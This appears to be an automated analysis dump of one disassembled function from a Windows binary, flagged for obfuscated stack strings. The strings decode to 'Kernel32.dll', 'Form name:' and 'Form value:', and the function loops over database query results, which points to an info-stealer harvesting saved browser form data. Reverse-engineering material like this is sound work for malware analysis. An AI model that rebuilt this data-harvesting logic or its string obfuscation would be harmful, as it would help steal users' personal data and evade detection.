Function at 0x45b23c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x486fcf
call fcn.00486b34
sub esp, 0xdc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, ecx
and dword [ebp - 4], 0
lea esi, [ebx + 0xac]
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x45b268
mov eax, dword [esi]
lea ecx, [ebp - 0xd0]
push ecx
push eax
call fcn.0046e55c
pop ecx
pop ecx
test eax, eax
jne 0x45b2db
mov edi, esi
cmp dword [esi + 0x14], 0x10
jb 0x45b285
mov edi, dword [esi]
mov cl, 0x42
mov dword [ebp - 0x36], 0x30270942
mov dword [ebp - 0x32], 0x712e272c
mov dword [ebp - 0x2e], 0x2e266c70
mov word [ebp - 0x2a], 0x2e
xor edx, edx
mov eax, edx
mov dword [ebp - 0x78], eax
cmp eax, 0xc
jae 0x45b2bb
xor byte [ebp + eax - 0x35], cl
inc eax
mov dword [ebp - 0x78], eax
mov cl, byte [ebp - 0x36]
jmp 0x45b2a9
mov byte [ebp - 0x29], dl
lea eax, [ebp - 0x35]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x45b2d8
mov edx, 0x4940c4
mov ecx, eax
call fcn.00401390
push edi
call eax
push esi
push dword [ebp + 8]
call fcn.00401bbb
movaps xmm0, xmmword [0x49d740]
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0xe071c1d
mov dword [ebp - 0x5c], 0x40401
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x7c], ecx
cmp ecx, 0x16
jae 0x45b313
mov al, byte [ebp - 0x70]
xor byte [ebp + ecx - 0x6f], al
inc ecx
jmp 0x45b301
xor eax, eax
mov byte [ebp - 0x59], al
lea ecx, [ebx + 0xac]
cmp dword [ecx + 0x14], 0x10
jb 0x45b326
mov ecx, dword [ecx]
push eax
push 6
lea edx, [ebp - 0x74]
call fcn.004565f6
pop ecx
pop ecx
test eax, eax
jne 0x45b5e4
xor esi, esi
push esi
lea eax, [ebp - 0x28]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x6f]
push eax
push dword [ebp - 0x74]
call fcn.004404bf
add esp, 0x14
test eax, eax
jne 0x45b5e4
push 0x494070
lea ecx, [ebp - 0x70]
call fcn.00403ae8
mov edi, 0x49d300
push dword [ebp - 0x28]
call fcn.00420ada
pop ecx
cmp eax, 0x64
jne 0x45b4f2
push 1
push dword [ebp - 0x28]
call fcn.00420fda
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00403ae8
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x30], 0
jne 0x45b3b0
test esi, esi
je 0x45b4e5
cmp dword [ebp - 0x30], 0x5a
jae 0x45b4e5
push 2
push edi
lea ecx, [ebp - 0x70]
call fcn.00403c55
mov cl, 0x7a
mov dword [ebp - 0x21], 0x8153c7a
mov dword [ebp - 0x1d], 0x1b145a17
mov dword [ebp - 0x19], 0x5a401f17
xor edx, edx
mov byte [ebp - 0x15], dl
mov eax, edx
mov dword [ebp - 0x80], eax
cmp eax, 0xb
jae 0x45b3f8
xor byte [ebp + eax - 0x20], cl
inc eax
mov dword [ebp - 0x80], eax
mov cl, byte [ebp - 0x21]
jmp 0x45b3e6
mov byte [ebp - 0x15], dl
push edi
push ecx
push edx
push dword [ebp - 0x28]
call fcn.00420fda
add esp, 0xc
push eax
lea ecx, [ebp - 0xb8]
call fcn.00403ae8
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0xa0]
call fcn.00403e69
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe8]
call fcn.00403d96
pop ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.00403a2e
lea ecx, [ebp - 0xe8]
call fcn.00403b2e
lea ecx, [ebp - 0xa0]
call fcn.00403b2e
lea ecx, [ebp - 0xb8]
call fcn.00403b2e
mov cl, 0x47
mov dword [ebp - 0x4e], 0x35280147
mov dword [ebp - 0x4a], 0x2631672a
mov dword [ebp - 0x46], 0x7d22322b
mov word [ebp - 0x42], 0x67
xor edx, edx
mov eax, edx
mov dword [ebp - 0x84], eax
cmp eax, 0xc
jae 0x45b499
xor byte [ebp + eax - 0x4d], cl
inc eax
mov dword [ebp - 0x84], eax
mov cl, byte [ebp - 0x4e]
jmp 0x45b484
mov byte [ebp - 0x41], dl
push edi
lea eax, [ebp - 0x40]
push eax
lea edx, [ebp - 0x4d]
lea ecx, [ebp - 0xa0]
call fcn.00462a8c
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403d96
pop ecx
push eax
lea ecx, [ebp - 0x70]
call fcn.00403a2e
lea ecx, [ebp - 0xb8]
call fcn.00403b2e
lea ecx, [ebp - 0xa0]
call fcn.00403b2e
inc dword [ebx + 0xd0]
xor esi, esi
lea ecx, [ebp - 0x40]
call fcn.00403b2e
jmp 0x45b36d
lea eax, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
cmovae eax, dword [ebp - 0x70]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x60], 0
jne 0x45b50d
xor edx, edx
jmp 0x45b5c9
xor edx, edx
mov cl, 0x3d
mov dword [ebp - 0x14], 0x1d1e3d
mov eax, edx
mov dword [ebp - 0x88], eax
cmp eax, 2
jae 0x45b535
xor byte [ebp + eax - 0x13], cl
inc eax
mov dword [ebp - 0x88], eax
mov cl, byte [ebp - 0x14]
jmp 0x45b520
mov byte [ebp - 0x11], dl
push 1
push dword [ebp + 8]
lea eax, [ebp - 0xa0]
push eax
call fcn.0045a0aa
mov esi, eax
lea eax, [ebp - 0x13]
push eax
lea ecx, [ebp - 0xb8]
call fcn.00403ae8
push esi
mov ecx, eax
call fcn.00403a2e
push eax
lea ecx, [ebp - 0x40]
call fcn.00403ab7
push 2
push edi
lea ecx, [ebp - 0x40]
call fcn.00403c55
push eax
lea ecx, [ebp - 0x58]
call fcn.00403ab7
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 0x10
cmovae eax, dword [ebp - 0x58]
push dword [ebp - 0x48]
push eax
push ecx
lea ecx, [ebp - 0x70]
call fcn.004041ae
lea ecx, [ebp - 0x58]
call fcn.00403b2e
lea ecx, [ebp - 0x40]
call fcn.00403b2e
lea ecx, [ebp - 0xb8]
call fcn.00403b2e
lea ecx, [ebp - 0xa0]
call fcn.00403b2e
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebx + 0x7c]
call fcn.00403a2e
push dword [ebp - 0x28]
call fcn.004202dd
pop ecx
xor edx, edx
mov ecx, dword [ebp - 0x74]
call fcn.0045512a
lea ecx, [ebp - 0x70]
call fcn.00403b2e
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 4